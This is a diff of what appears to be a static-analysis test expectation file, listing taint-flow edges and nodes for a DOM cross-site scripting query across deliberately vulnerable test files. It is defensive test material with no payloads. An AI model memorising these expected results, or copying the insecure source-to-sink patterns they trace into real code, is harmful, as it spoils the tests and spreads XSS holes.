-| tst.js:386:18:386:23 | target | tst.js:386:18:386:29 | target.taint | provenance |  |
-| tst.js:391:3:391:8 | [post update] target [taint3] | tst.js:392:18:392:23 | target [taint3] | provenance |  |
-| tst.js:391:19:391:42 | documen ... .search | tst.js:391:3:391:8 | [post update] target [taint3] | provenance |  |
-| tst.js:392:18:392:23 | target [taint3] | tst.js:392:18:392:30 | target.taint3 | provenance |  |
-| tst.js:397:18:397:23 | target | tst.js:397:18:397:30 | target.taint5 | provenance |  |
-| tst.js:406:18:406:23 | target | tst.js:406:18:406:30 | target.taint7 | provenance |  |
-| tst.js:408:3:408:8 | [post update] target [taint8] | tst.js:408:19:408:24 | target [taint8] | provenance |  |
-| tst.js:408:3:408:8 | [post update] target [taint8] | tst.js:409:18:409:23 | target [taint8] | provenance |  |
-| tst.js:408:19:408:24 | target | tst.js:408:19:408:31 | target.taint8 | provenance |  |
-| tst.js:408:19:408:24 | target [taint8] | tst.js:408:19:408:31 | target.taint8 | provenance |  |
-| tst.js:408:19:408:31 | target.taint8 | tst.js:408:3:408:8 | [post update] target [taint8] | provenance |  |
-| tst.js:409:18:409:23 | target [taint8] | tst.js:409:18:409:30 | target.taint8 | provenance |  |
-| tst.js:416:7:416:46 | payload | tst.js:417:18:417:24 | payload | provenance |  |
-| tst.js:416:17:416:36 | window.location.hash | tst.js:416:17:416:46 | window. ... bstr(1) | provenance |  |
-| tst.js:416:17:416:36 | window.location.hash | tst.js:416:17:416:46 | window. ... bstr(1) | provenance | Config |
-| tst.js:416:17:416:46 | window. ... bstr(1) | tst.js:416:7:416:46 | payload | provenance |  |
-| tst.js:419:7:419:55 | match | tst.js:421:20:421:24 | match | provenance |  |
-| tst.js:419:15:419:34 | window.location.hash | tst.js:419:15:419:55 | window. ... (\\w+)/) | provenance |  |
-| tst.js:419:15:419:55 | window. ... (\\w+)/) | tst.js:419:7:419:55 | match | provenance |  |
-| tst.js:421:20:421:24 | match | tst.js:421:20:421:27 | match[1] | provenance |  |
-| tst.js:424:18:424:37 | window.location.hash | tst.js:424:18:424:48 | window. ... it('#') [1] | provenance | Config |
-| tst.js:424:18:424:48 | window. ... it('#') [1] | tst.js:424:18:424:51 | window. ... '#')[1] | provenance |  |
-| tst.js:428:7:428:39 | target | tst.js:430:18:430:23 | target | provenance |  |
-| tst.js:428:16:428:39 | documen ... .search | tst.js:428:7:428:39 | target | provenance |  |
-| tst.js:430:18:430:23 | target | tst.js:430:18:430:89 | target. ... data>') | provenance |  |
-| tst.js:436:6:436:38 | source | tst.js:440:28:440:33 | source | provenance |  |
-| tst.js:436:6:436:38 | source | tst.js:441:33:441:38 | source | provenance |  |
-| tst.js:436:6:436:38 | source | tst.js:442:34:442:39 | source | provenance |  |
-| tst.js:436:6:436:38 | source | tst.js:443:41:443:46 | source | provenance |  |
-| tst.js:436:6:436:38 | source | tst.js:444:44:444:49 | source | provenance |  |
-| tst.js:436:6:436:38 | source | tst.js:445:32:445:37 | source | provenance |  |
-| tst.js:436:15:436:38 | documen ... .search | tst.js:436:6:436:38 | source | provenance |  |
-| tst.js:453:7:453:39 | source | tst.js:455:18:455:23 | source | provenance |  |
-| tst.js:453:7:453:39 | source | tst.js:456:36:456:41 | source | provenance |  |
-| tst.js:453:16:453:39 | documen ... .search | tst.js:453:7:453:39 | source | provenance |  |
-| tst.js:456:36:456:41 | source | tst.js:456:18:456:42 | ansiToH ... source) | provenance |  |
-| tst.js:460:6:460:38 | source | tst.js:463:21:463:26 | source | provenance |  |
-| tst.js:460:6:460:38 | source | tst.js:465:19:465:24 | source | provenance |  |
-| tst.js:460:6:460:38 | source | tst.js:467:20:467:25 | source | provenance |  |
-| tst.js:460:15:460:38 | documen ... .search | tst.js:460:6:460:38 | source | provenance |  |
-| tst.js:471:7:471:46 | url | tst.js:473:19:473:21 | url | provenance |  |
-| tst.js:471:7:471:46 | url | tst.js:474:26:474:28 | url | provenance |  |
-| tst.js:471:7:471:46 | url | tst.js:475:25:475:27 | url | provenance |  |
-| tst.js:471:7:471:46 | url | tst.js:476:20:476:22 | url | provenance |  |
-| tst.js:471:7:471:46 | url | tst.js:486:22:486:24 | url | provenance |  |
-| tst.js:471:13:471:36 | documen ... .search | tst.js:471:13:471:46 | documen ... bstr(1) | provenance | Config |
-| tst.js:471:13:471:46 | documen ... bstr(1) | tst.js:471:7:471:46 | url | provenance |  |
-| tst.js:491:23:491:35 | location.hash | tst.js:491:23:491:45 | locatio ... bstr(1) | provenance | Config |
-| tst.js:494:18:494:30 | location.hash | tst.js:494:18:494:40 | locatio ... bstr(1) | provenance | Config |
-| tst.js:501:43:501:62 | window.location.hash | tst.js:501:33:501:63 | decodeU ... n.hash) | provenance |  |
-| tst.js:508:7:508:39 | target | tst.js:509:18:509:23 | target | provenance |  |
-| tst.js:508:16:508:39 | documen ... .search | tst.js:508:7:508:39 | target | provenance |  |
-| tst.js:509:18:509:23 | target | tst.js:509:18:509:54 | target. ... "), '') | provenance |  |
+| tst.js:6:37:6:58 | documen ... on.href | tst.js:6:37:6:114 | documen ... t=")+8) | provenance |  |
+| tst.js:6:37:6:58 | documen ... on.href | tst.js:6:37:6:114 | documen ... t=")+8) | provenance | Config |
+| tst.js:6:37:6:114 | documen ... t=")+8) | tst.js:6:18:6:126 | "<OPTIO ... PTION>" | provenance |  |
+| tst.js:6:37:6:114 | documen ... t=")+8) | tst.js:6:18:6:126 | "<OPTIO ... PTION>" | provenance |  |
+| tst.js:6:37:6:114 | documen ... t=")+8) | tst.js:6:18:6:126 | "<OPTIO ... PTION>" | provenance | Config |
+| tst.js:9:28:9:33 | target | tst.js:9:5:9:42 | '<div s ...  'px">' | provenance | Config |
+| tst.js:14:7:14:56 | params | tst.js:15:18:15:23 | params | provenance |  |
+| tst.js:14:7:14:56 | params [MapValue] | tst.js:15:18:15:23 | params [MapValue] | provenance |  |
+| tst.js:14:16:14:43 | (new UR ... ation)) [searchParams, MapValue] | tst.js:14:16:14:56 | (new UR ... hParams [MapValue] | provenance |  |
+| tst.js:14:16:14:43 | (new UR ... ation)) [searchParams] | tst.js:14:16:14:56 | (new UR ... hParams | provenance |  |
+| tst.js:14:16:14:56 | (new UR ... hParams | tst.js:14:7:14:56 | params | provenance |  |
+| tst.js:14:16:14:56 | (new UR ... hParams [MapValue] | tst.js:14:7:14:56 | params [MapValue] | provenance |  |
+| tst.js:14:17:14:42 | new URL ... cation) [searchParams, MapValue] | tst.js:14:16:14:43 | (new UR ... ation)) [searchParams, MapValue] | provenance |  |
+| tst.js:14:17:14:42 | new URL ... cation) [searchParams] | tst.js:14:16:14:43 | (new UR ... ation)) [searchParams] | provenance |  |
+| tst.js:14:25:14:41 | document.location | tst.js:14:17:14:42 | new URL ... cation) [searchParams, MapValue] | provenance |  |
+| tst.js:14:25:14:41 | document.location | tst.js:14:17:14:42 | new URL ... cation) [searchParams] | provenance |  |
+| tst.js:15:18:15:23 | params | tst.js:15:18:15:35 | params.get('name') | provenance | Config |
+| tst.js:15:18:15:23 | params [MapValue] | tst.js:15:18:15:35 | params.get('name') | provenance |  |
+| tst.js:17:7:17:61 | searchParams | tst.js:18:18:18:29 | searchParams | provenance |  |
+| tst.js:17:7:17:61 | searchParams [MapValue] | tst.js:18:18:18:29 | searchParams [MapValue] | provenance |  |
+| tst.js:17:22:17:61 | new URL ... ing(1)) | tst.js:17:7:17:61 | searchParams | provenance |  |
+| tst.js:17:22:17:61 | new URL ... ing(1)) [MapValue] | tst.js:17:7:17:61 | searchParams [MapValue] | provenance |  |
+| tst.js:17:42:17:47 | target | tst.js:17:42:17:60 | target.substring(1) | provenance |  |
+| tst.js:17:42:17:47 | target | tst.js:17:42:17:60 | target.substring(1) | provenance | Config |
+| tst.js:17:42:17:47 | target | tst.js:17:42:17:60 | target.substring(1) | provenance | Config |
+| tst.js:17:42:17:60 | target.substring(1) | tst.js:17:22:17:61 | new URL ... ing(1)) | provenance |  |
+| tst.js:17:42:17:60 | target.substring(1) | tst.js:17:22:17:61 | new URL ... ing(1)) [MapValue] | provenance |  |
+| tst.js:17:42:17:60 | target.substring(1) | tst.js:17:22:17:61 | new URL ... ing(1)) [MapValue] | provenance |  |
+| tst.js:17:42:17:60 | target.substring(1) | tst.js:17:22:17:61 | new URL ... ing(1)) [MapValue] | provenance |  |
+| tst.js:18:18:18:29 | searchParams | tst.js:18:18:18:41 | searchP ... 'name') | provenance | Config |
+| tst.js:18:18:18:29 | searchParams [MapValue] | tst.js:18:18:18:41 | searchP ... 'name') | provenance |  |
+| tst.js:21:14:21:19 | target | tst.js:22:18:22:23 | target | provenance |  |
+| tst.js:24:5:24:28 | documen ... .search | tst.js:21:14:21:19 | target | provenance |  |
+| tst.js:27:10:27:33 | documen ... .search | tst.js:29:16:29:20 | bar() | provenance |  |
+| tst.js:27:10:27:33 | documen ... .search | tst.js:48:26:48:30 | bar() | provenance |  |
+| tst.js:27:10:27:33 | documen ... .search | tst.js:56:16:56:20 | bar() | provenance |  |
+| tst.js:31:14:31:14 | x | tst.js:32:10:32:10 | x | provenance |  |
+| tst.js:34:20:34:43 | documen ... .search | tst.js:31:14:31:14 | x | provenance |  |
+| tst.js:34:20:34:43 | documen ... .search | tst.js:34:16:34:44 | baz(doc ... search) | provenance |  |
+| tst.js:36:15:36:15 | s | tst.js:37:20:37:20 | s | provenance |  |
+| tst.js:36:15:36:15 | s | tst.js:37:20:37:20 | s | provenance |  |
+| tst.js:37:20:37:20 | s | tst.js:37:10:37:31 | "<div>" ... </div>" | provenance |  |
+| tst.js:37:20:37:20 | s | tst.js:37:10:37:31 | "<div>" ... </div>" | provenance |  |
+| tst.js:37:20:37:20 | s | tst.js:37:10:37:31 | "<div>" ... </div>" | provenance | Config |
+| tst.js:39:21:39:44 | documen ... .search | tst.js:36:15:36:15 | s | provenance |  |
+| tst.js:39:21:39:44 | documen ... .search | tst.js:39:16:39:45 | wrap(do ... search) | provenance |  |
+| tst.js:39:21:39:44 | documen ... .search | tst.js:39:16:39:45 | wrap(do ... search) | provenance | Config |
+| tst.js:41:15:41:15 | s | tst.js:43:12:43:12 | s | provenance |  |
+| tst.js:43:12:43:12 | s | tst.js:43:12:43:22 | s.substr(1) | provenance |  |
+| tst.js:43:12:43:12 | s | tst.js:43:12:43:22 | s.substr(1) | provenance | Config |
+| tst.js:43:12:43:12 | s | tst.js:43:12:43:22 | s.substr(1) | provenance | Config |
+| tst.js:46:21:46:44 | documen ... .search | tst.js:41:15:41:15 | s | provenance |  |
+| tst.js:46:21:46:44 | documen ... .search | tst.js:46:16:46:45 | chop(do ... search) | provenance |  |
+| tst.js:46:21:46:44 | documen ... .search | tst.js:46:16:46:45 | chop(do ... search) | provenance | Config |
+| tst.js:47:21:47:44 | documen ... .search | tst.js:41:15:41:15 | s | provenance |  |
+| tst.js:47:21:47:44 | documen ... .search | tst.js:47:16:47:45 | chop(do ... search) | provenance |  |
+| tst.js:47:21:47:44 | documen ... .search | tst.js:47:16:47:45 | chop(do ... search) | provenance | Config |
+| tst.js:48:21:48:31 | chop(bar()) | tst.js:36:15:36:15 | s | provenance |  |
+| tst.js:48:21:48:31 | chop(bar()) | tst.js:36:15:36:15 | s | provenance |  |
+| tst.js:48:21:48:31 | chop(bar()) | tst.js:48:16:48:32 | wrap(chop(bar())) | provenance |  |
+| tst.js:48:21:48:31 | chop(bar()) | tst.js:48:16:48:32 | wrap(chop(bar())) | provenance |  |
+| tst.js:48:21:48:31 | chop(bar()) | tst.js:48:16:48:32 | wrap(chop(bar())) | provenance | Config |
+| tst.js:48:26:48:30 | bar() | tst.js:41:15:41:15 | s | provenance |  |
+| tst.js:48:26:48:30 | bar() | tst.js:48:21:48:31 | chop(bar()) | provenance |  |
+| tst.js:48:26:48:30 | bar() | tst.js:48:21:48:31 | chop(bar()) | provenance | Config |
+| tst.js:50:34:50:34 | s | tst.js:51:18:51:18 | s | provenance |  |
+| tst.js:53:25:53:48 | documen ... .search | tst.js:50:34:50:34 | s | provenance |  |
+| tst.js:54:25:54:48 | documen ... .search | tst.js:50:34:50:34 | s | provenance |  |
+| tst.js:58:1:58:27 | [,docum ... search] [1] | tst.js:58:46:58:46 | x | provenance |  |
+| tst.js:58:3:58:26 | documen ... .search | tst.js:58:1:58:27 | [,docum ... search] [1] | provenance |  |
+| tst.js:58:46:58:46 | x | tst.js:60:20:60:20 | x | provenance |  |
+| tst.js:93:7:93:44 | v | tst.js:95:18:95:18 | v | provenance |  |
+| tst.js:93:7:93:44 | v | tst.js:120:18:120:18 | v | provenance |  |
+| tst.js:93:11:93:34 | documen ... .search | tst.js:93:11:93:44 | documen ... bstr(1) | provenance |  |
+| tst.js:93:11:93:34 | documen ... .search | tst.js:93:11:93:44 | documen ... bstr(1) | provenance | Config |
+| tst.js:93:11:93:44 | documen ... bstr(1) | tst.js:93:7:93:44 | v | provenance |  |
+| tst.js:132:29:132:50 | window. ... .search | tst.js:135:29:135:29 | v | provenance |  |
+| tst.js:135:29:135:29 | v | tst.js:135:49:135:49 | v | provenance |  |
+| tst.js:142:40:142:61 | window. ... .search | tst.js:139:29:139:46 | xssSourceService() | provenance |  |
+| tst.js:161:9:161:41 | target | tst.js:164:28:164:33 | target | provenance |  |
+| tst.js:161:18:161:41 | documen ... .search | tst.js:161:9:161:41 | target | provenance |  |
+| tst.js:168:9:168:42 | tainted | tst.js:170:31:170:37 | tainted | provenance |  |
+| tst.js:168:9:168:42 | tainted | tst.js:172:42:172:48 | tainted | provenance |  |
+| tst.js:168:9:168:42 | tainted | tst.js:173:33:173:39 | tainted | provenance |  |
+| tst.js:168:9:168:42 | tainted | tst.js:175:54:175:60 | tainted | provenance |  |
+| tst.js:168:9:168:42 | tainted | tst.js:176:45:176:51 | tainted | provenance |  |
+| tst.js:168:9:168:42 | tainted | tst.js:177:49:177:55 | tainted | provenance |  |
+| tst.js:168:19:168:42 | documen ... .search | tst.js:168:9:168:42 | tainted | provenance |  |
+| tst.js:181:9:181:42 | tainted | tst.js:183:67:183:73 | tainted | provenance |  |
+| tst.js:181:9:181:42 | tainted | tst.js:184:67:184:73 | tainted | provenance |  |
+| tst.js:181:9:181:42 | tainted | tst.js:220:35:220:41 | tainted | provenance |  |
+| tst.js:181:9:181:42 | tainted | tst.js:222:20:222:26 | tainted | provenance |  |
+| tst.js:181:9:181:42 | tainted | tst.js:224:23:224:29 | tainted | provenance |  |
+| tst.js:181:9:181:42 | tainted | tst.js:225:23:225:29 | tainted | provenance |  |
+| tst.js:181:9:181:42 | tainted | tst.js:239:23:239:29 | tainted | provenance |  |
+| tst.js:181:19:181:42 | documen ... .search | tst.js:181:9:181:42 | tainted | provenance |  |
+| tst.js:183:67:183:73 | tainted | tst.js:184:67:184:73 | tainted | provenance |  |
+| tst.js:184:67:184:73 | tainted | tst.js:188:35:188:41 | tainted | provenance |  |
+| tst.js:184:67:184:73 | tainted | tst.js:190:46:190:52 | tainted | provenance |  |
+| tst.js:184:67:184:73 | tainted | tst.js:191:38:191:44 | tainted | provenance |  |
+| tst.js:184:67:184:73 | tainted | tst.js:192:35:192:41 | tainted | provenance |  |
+| tst.js:184:67:184:73 | tainted | tst.js:220:35:220:41 | tainted | provenance |  |
+| tst.js:188:35:188:41 | tainted | tst.js:196:28:196:46 | this.state.tainted1 | provenance |  |
+| tst.js:190:46:190:52 | tainted | tst.js:197:28:197:46 | this.state.tainted2 | provenance |  |
+| tst.js:191:38:191:44 | tainted | tst.js:198:28:198:46 | this.state.tainted3 | provenance |  |
+| tst.js:192:35:192:41 | tainted | tst.js:202:32:202:49 | prevState.tainted4 | provenance |  |
+| tst.js:220:35:220:41 | tainted | tst.js:209:28:209:46 | this.props.tainted1 | provenance |  |
+| tst.js:220:35:220:41 | tainted | tst.js:222:20:222:26 | tainted | provenance |  |
+| tst.js:222:20:222:26 | tainted | tst.js:210:28:210:46 | this.props.tainted2 | provenance |  |
+| tst.js:222:20:222:26 | tainted | tst.js:224:23:224:29 | tainted | provenance |  |
+| tst.js:224:23:224:29 | tainted | tst.js:211:28:211:46 | this.props.tainted3 | provenance |  |
+| tst.js:224:23:224:29 | tainted | tst.js:225:23:225:29 | tainted | provenance |  |
+| tst.js:225:23:225:29 | tainted | tst.js:215:32:215:49 | prevProps.tainted4 | provenance |  |
+| tst.js:225:23:225:29 | tainted | tst.js:239:23:239:29 | tainted | provenance |  |
+| tst.js:231:39:231:55 | props.propTainted | tst.js:235:60:235:82 | this.st ... Tainted | provenance |  |
+| tst.js:239:23:239:29 | tainted | tst.js:231:39:231:55 | props.propTainted | provenance |  |
+| tst.js:269:9:269:29 | tainted | tst.js:272:59:272:65 | tainted | provenance |  |
+| tst.js:269:19:269:29 | window.name | tst.js:269:9:269:29 | tainted | provenance |  |
+| tst.js:285:9:285:16 | location | tst.js:286:10:286:10 | e | provenance |  |
+| tst.js:286:10:286:10 | e | tst.js:287:20:287:20 | e | provenance |  |
+| tst.js:292:10:292:17 | location | tst.js:294:10:294:10 | e | provenance |  |
+| tst.js:294:10:294:10 | e | tst.js:295:20:295:20 | e | provenance |  |
+| tst.js:311:10:311:35 | new URL ... cation) [searchParams, MapValue] | tst.js:315:16:315:30 | getTaintedUrl() [searchParams, MapValue] | provenance |  |
+| tst.js:311:10:311:35 | new URL ... cation) [searchParams] | tst.js:315:16:315:30 | getTaintedUrl() [searchParams] | provenance |  |
+| tst.js:311:18:311:34 | document.location | tst.js:311:10:311:35 | new URL ... cation) [searchParams, MapValue] | provenance |  |
+| tst.js:311:18:311:34 | document.location | tst.js:311:10:311:35 | new URL ... cation) [searchParams] | provenance |  |
+| tst.js:315:7:315:43 | params | tst.js:316:18:316:23 | params | provenance |  |
+| tst.js:315:7:315:43 | params [MapValue] | tst.js:316:18:316:23 | params [MapValue] | provenance |  |
+| tst.js:315:16:315:30 | getTaintedUrl() [searchParams, MapValue] | tst.js:315:16:315:43 | getTain ... hParams [MapValue] | provenance |  |
+| tst.js:315:16:315:30 | getTaintedUrl() [searchParams] | tst.js:315:16:315:43 | getTain ... hParams | provenance |  |
+| tst.js:315:16:315:43 | getTain ... hParams | tst.js:315:7:315:43 | params | provenance |  |
+| tst.js:315:16:315:43 | getTain ... hParams [MapValue] | tst.js:315:7:315:43 | params [MapValue] | provenance |  |
+| tst.js:316:18:316:23 | params | tst.js:316:18:316:35 | params.get('name') | provenance | Config |
+| tst.js:316:18:316:23 | params [MapValue] | tst.js:316:18:316:35 | params.get('name') | provenance |  |
+| tst.js:325:12:325:37 | new URL ... cation) [hash] | tst.js:327:5:327:12 | getUrl() [hash] | provenance |  |
+| tst.js:325:20:325:36 | document.location | tst.js:325:12:325:37 | new URL ... cation) [hash] | provenance |  |
+| tst.js:327:5:327:12 | getUrl() [hash] | tst.js:327:5:327:17 | getUrl().hash | provenance |  |
+| tst.js:327:5:327:17 | getUrl().hash | tst.js:327:5:327:30 | getUrl( ... ring(1) | provenance | Config |
+| tst.js:332:7:332:39 | target | tst.js:333:12:333:17 | target | provenance |  |
+| tst.js:332:16:332:39 | documen ... .search | tst.js:332:7:332:39 | target | provenance |  |
+| tst.js:339:10:339:42 | target | tst.js:340:16:340:21 | target | provenance |  |
+| tst.js:339:10:339:42 | target | tst.js:341:20:341:25 | target | provenance |  |
+| tst.js:339:19:339:42 | documen ... .search | tst.js:339:10:339:42 | target | provenance |  |
+| tst.js:340:16:340:21 | target | tst.js:341:20:341:25 | target | provenance |  |
+| tst.js:341:20:341:25 | target | tst.js:344:21:344:26 | target | provenance |  |
+| tst.js:341:20:341:25 | target | tst.js:347:18:347:23 | target | provenance |  |
+| tst.js:355:7:355:39 | target | tst.js:357:18:357:23 | target | provenance |  |
+| tst.js:355:16:355:39 | documen ... .search | tst.js:355:7:355:39 | target | provenance |  |
+| tst.js:364:7:364:39 | target | tst.js:367:18:367:23 | target | provenance |  |
+| tst.js:364:7:364:39 | target | tst.js:369:18:369:23 | target | provenance |  |
+| tst.js:364:7:364:39 | target | tst.js:380:18:380:23 | target | provenance |  |
+| tst.js:364:7:364:39 | target | tst.js:389:18:389:23 | target | provenance |  |
+| tst.js:364:7:364:39 | target | tst.js:391:19:391:24 | target | provenance |  |
+| tst.js:364:16:364:39 | documen ... .search | tst.js:364:7:364:39 | target | provenance |  |
+| tst.js:369:18:369:23 | target | tst.js:369:18:369:29 | target.taint | provenance |  |
+| tst.js:374:3:374:8 | [post update] target [taint3] | tst.js:375:18:375:23 | target [taint3] | provenance |  |
+| tst.js:374:19:374:42 | documen ... .search | tst.js:374:3:374:8 | [post update] target [taint3] | provenance |  |
+| tst.js:375:18:375:23 | target [taint3] | tst.js:375:18:375:30 | target.taint3 | provenance |  |
+| tst.js:380:18:380:23 | target | tst.js:380:18:380:30 | target.taint5 | provenance |  |
+| tst.js:389:18:389:23 | target | tst.js:389:18:389:30 | target.taint7 | provenance |  |
+| tst.js:391:3:391:8 | [post update] target [taint8] | tst.js:391:19:391:24 | target [taint8] | provenance |  |
+| tst.js:391:3:391:8 | [post update] target [taint8] | tst.js:392:18:392:23 | target [taint8] | provenance |  |
+| tst.js:391:19:391:24 | target | tst.js:391:19:391:31 | target.taint8 | provenance |  |
+| tst.js:391:19:391:24 | target [taint8] | tst.js:391:19:391:31 | target.taint8 | provenance |  |
+| tst.js:391:19:391:31 | target.taint8 | tst.js:391:3:391:8 | [post update] target [taint8] | provenance |  |
+| tst.js:392:18:392:23 | target [taint8] | tst.js:392:18:392:30 | target.taint8 | provenance |  |
+| tst.js:399:7:399:46 | payload | tst.js:400:18:400:24 | payload | provenance |  |
+| tst.js:399:17:399:36 | window.location.hash | tst.js:399:17:399:46 | window. ... bstr(1) | provenance |  |
+| tst.js:399:17:399:36 | window.location.hash | tst.js:399:17:399:46 | window. ... bstr(1) | provenance | Config |
+| tst.js:399:17:399:46 | window. ... bstr(1) | tst.js:399:7:399:46 | payload | provenance |  |
+| tst.js:402:7:402:55 | match | tst.js:404:20:404:24 | match | provenance |  |
+| tst.js:402:15:402:34 | window.location.hash | tst.js:402:15:402:55 | window. ... (\\w+)/) | provenance |  |
+| tst.js:402:15:402:55 | window. ... (\\w+)/) | tst.js:402:7:402:55 | match | provenance |  |
+| tst.js:404:20:404:24 | match | tst.js:404:20:404:27 | match[1] | provenance |  |
+| tst.js:407:18:407:37 | window.location.hash | tst.js:407:18:407:48 | window. ... it('#') [1] | provenance | Config |
+| tst.js:407:18:407:48 | window. ... it('#') [1] | tst.js:407:18:407:51 | window. ... '#')[1] | provenance |  |
+| tst.js:411:7:411:39 | target | tst.js:413:18:413:23 | target | provenance |  |
+| tst.js:411:16:411:39 | documen ... .search | tst.js:411:7:411:39 | target | provenance |  |
+| tst.js:413:18:413:23 | target | tst.js:413:18:413:89 | target. ... data>') | provenance |  |
+| tst.js:419:6:419:38 | source | tst.js:423:28:423:33 | source | provenance |  |
+| tst.js:419:6:419:38 | source | tst.js:424:33:424:38 | source | provenance |  |
+| tst.js:419:6:419:38 | source | tst.js:425:34:425:39 | source | provenance |  |
+| tst.js:419:6:419:38 | source | tst.js:426:41:426:46 | source | provenance |  |
+| tst.js:419:6:419:38 | source | tst.js:427:44:427:49 | source | provenance |  |
+| tst.js:419:6:419:38 | source | tst.js:428:32:428:37 | source | provenance |  |
+| tst.js:419:15:419:38 | documen ... .search | tst.js:419:6:419:38 | source | provenance |  |
+| tst.js:436:7:436:39 | source | tst.js:438:18:438:23 | source | provenance |  |
+| tst.js:436:7:436:39 | source | tst.js:439:36:439:41 | source | provenance |  |
+| tst.js:436:16:436:39 | documen ... .search | tst.js:436:7:436:39 | source | provenance |  |
+| tst.js:439:36:439:41 | source | tst.js:439:18:439:42 | ansiToH ... source) | provenance |  |
+| tst.js:443:6:443:38 | source | tst.js:446:21:446:26 | source | provenance |  |
+| tst.js:443:6:443:38 | source | tst.js:448:19:448:24 | source | provenance |  |
+| tst.js:443:6:443:38 | source | tst.js:450:20:450:25 | source | provenance |  |
+| tst.js:443:15:443:38 | documen ... .search | tst.js:443:6:443:38 | source | provenance |  |
+| tst.js:454:7:454:46 | url | tst.js:456:19:456:21 | url | provenance |  |
+| tst.js:454:7:454:46 | url | tst.js:457:26:457:28 | url | provenance |  |
+| tst.js:454:7:454:46 | url | tst.js:458:25:458:27 | url | provenance |  |
+| tst.js:454:7:454:46 | url | tst.js:459:20:459:22 | url | provenance |  |
+| tst.js:454:7:454:46 | url | tst.js:469:22:469:24 | url | provenance |  |
+| tst.js:454:13:454:36 | documen ... .search | tst.js:454:13:454:46 | documen ... bstr(1) | provenance | Config |
+| tst.js:454:13:454:46 | documen ... bstr(1) | tst.js:454:7:454:46 | url | provenance |  |
+| tst.js:474:23:474:35 | location.hash | tst.js:474:23:474:45 | locatio ... bstr(1) | provenance | Config |
+| tst.js:477:18:477:30 | location.hash | tst.js:477:18:477:40 | locatio ... bstr(1) | provenance | Config |
+| tst.js:484:43:484:62 | window.location.hash | tst.js:484:33:484:63 | decodeU ... n.hash) | provenance |  |
+| tst.js:491:7:491:39 | target | tst.js:492:18:492:23 | target | provenance |  |
+| tst.js:491:16:491:39 | documen ... .search | tst.js:491:7:491:39 | target | provenance |  |
+| tst.js:492:18:492:23 | target | tst.js:492:18:492:54 | target. ... "), '') | provenance |  |
+| tst.js:498:7:498:26 | source | tst.js:499:27:499:32 | source | provenance |  |
+| tst.js:498:16:498:26 | window.name | tst.js:498:7:498:26 | source | provenance |  |
+| tst.js:499:27:499:32 | source | tst.js:499:18:499:33 | unescape(source) | provenance |  |
 | typeahead.js:20:13:20:45 | target | typeahead.js:21:12:21:17 | target | provenance |  |
 | typeahead.js:20:22:20:45 | documen ... .search | typeahead.js:20:13:20:45 | target | provenance |  |
 | typeahead.js:21:12:21:17 | target | typeahead.js:24:30:24:32 | val | provenance |  |
 | typeahead.js:24:30:24:32 | val | typeahead.js:25:18:25:20 | val | provenance |  |
+| v-html.vue:6:42:6:58 | document.location | v-html.vue:2:8:2:23 | v-html=tainted | provenance |  |
 | various-concat-obfuscations.js:2:6:2:39 | tainted | various-concat-obfuscations.js:4:14:4:20 | tainted | provenance |  |
 | various-concat-obfuscations.js:2:6:2:39 | tainted | various-concat-obfuscations.js:5:12:5:18 | tainted | provenance |  |
 | various-concat-obfuscations.js:2:6:2:39 | tainted | various-concat-obfuscations.js:6:19:6:25 | tainted | provenance |  |
@@ -1207,261 +797,683 @@ edges
 | winjs.js:2:17:2:40 | documen ... .search | winjs.js:2:17:2:53 | documen ... ring(1) | provenance |  |
 | winjs.js:2:17:2:40 | documen ... .search | winjs.js:2:17:2:53 | documen ... ring(1) | provenance | Config |
 | winjs.js:2:17:2:53 | documen ... ring(1) | winjs.js:2:7:2:53 | tainted | provenance |  |
+nodes
+| addEventListener.js:1:43:1:47 | event | semmle.label | event |
+| addEventListener.js:2:20:2:24 | event | semmle.label | event |
+| addEventListener.js:2:20:2:29 | event.data | semmle.label | event.data |
+| addEventListener.js:5:43:5:48 | data | semmle.label | data |
+| addEventListener.js:5:43:5:48 | {data} | semmle.label | {data} |
+| addEventListener.js:6:20:6:23 | data | semmle.label | data |
+| addEventListener.js:10:21:10:25 | event | semmle.label | event |
+| addEventListener.js:12:24:12:28 | event | semmle.label | event |
+| addEventListener.js:12:24:12:33 | event.data | semmle.label | event.data |
+| angular2-client.ts:24:44:24:71 | \\u0275getDOM ... ().href | semmle.label | \\u0275getDOM ... ().href |
+| angular2-client.ts:26:44:26:69 | this.ro ... .params | semmle.label | this.ro ... .params |
+| angular2-client.ts:26:44:26:73 | this.ro ... ams.foo | semmle.label | this.ro ... ams.foo |
+| angular2-client.ts:27:44:27:74 | this.ro ... yParams | semmle.label | this.ro ... yParams |
+| angular2-client.ts:27:44:27:78 | this.ro ... ams.foo | semmle.label | this.ro ... ams.foo |
+| angular2-client.ts:28:44:28:71 | this.ro ... ragment | semmle.label | this.ro ... ragment |
+| angular2-client.ts:29:44:29:82 | this.ro ... ('foo') | semmle.label | this.ro ... ('foo') |
+| angular2-client.ts:30:44:30:87 | this.ro ... ('foo') | semmle.label | this.ro ... ('foo') |
+| angular2-client.ts:32:46:32:59 | map.get('foo') | semmle.label | map.get('foo') |
+| angular2-client.ts:35:44:35:74 | this.ro ... 1].path | semmle.label | this.ro ... 1].path |
+| angular2-client.ts:36:44:36:80 | this.ro ... ameters | semmle.label | this.ro ... ameters |
+| angular2-client.ts:36:44:36:82 | this.ro ... eters.x | semmle.label | this.ro ... eters.x |
+| angular2-client.ts:37:44:37:91 | this.ro ... et('x') | semmle.label | this.ro ... et('x') |
+| angular2-client.ts:38:44:38:89 | this.ro ... .params | semmle.label | this.ro ... .params |
+| angular2-client.ts:38:44:38:91 | this.ro ... arams.x | semmle.label | this.ro ... arams.x |
+| angular2-client.ts:40:44:40:58 | this.router.url | semmle.label | this.router.url |
+| angular2-client.ts:42:45:42:59 | this.router.url | semmle.label | this.router.url |
+| angular2-client.ts:43:75:43:105 | this.ro ... yParams | semmle.label | this.ro ... yParams |
+| angular2-client.ts:43:75:43:109 | this.ro ... ams.foo | semmle.label | this.ro ... ams.foo |
+| angular2-client.ts:47:44:47:76 | routeSn ... ('foo') | semmle.label | routeSn ... ('foo') |
+| angular-tempate-url.js:9:26:9:45 | Cookie.get("unsafe") | semmle.label | Cookie.get("unsafe") |
+| angular-tempate-url.js:13:30:13:31 | ev | semmle.label | ev |
+| angular-tempate-url.js:14:26:14:27 | ev | semmle.label | ev |
+| angular-tempate-url.js:14:26:14:32 | ev.data | semmle.label | ev.data |
+| classnames.js:7:31:7:84 | `<span  ... <span>` | semmle.label | `<span  ... <span>` |
+| classnames.js:7:47:7:69 | classNa ... w.name) | semmle.label | classNa ... w.name) |
+| classnames.js:7:58:7:68 | window.name | semmle.label | window.name |
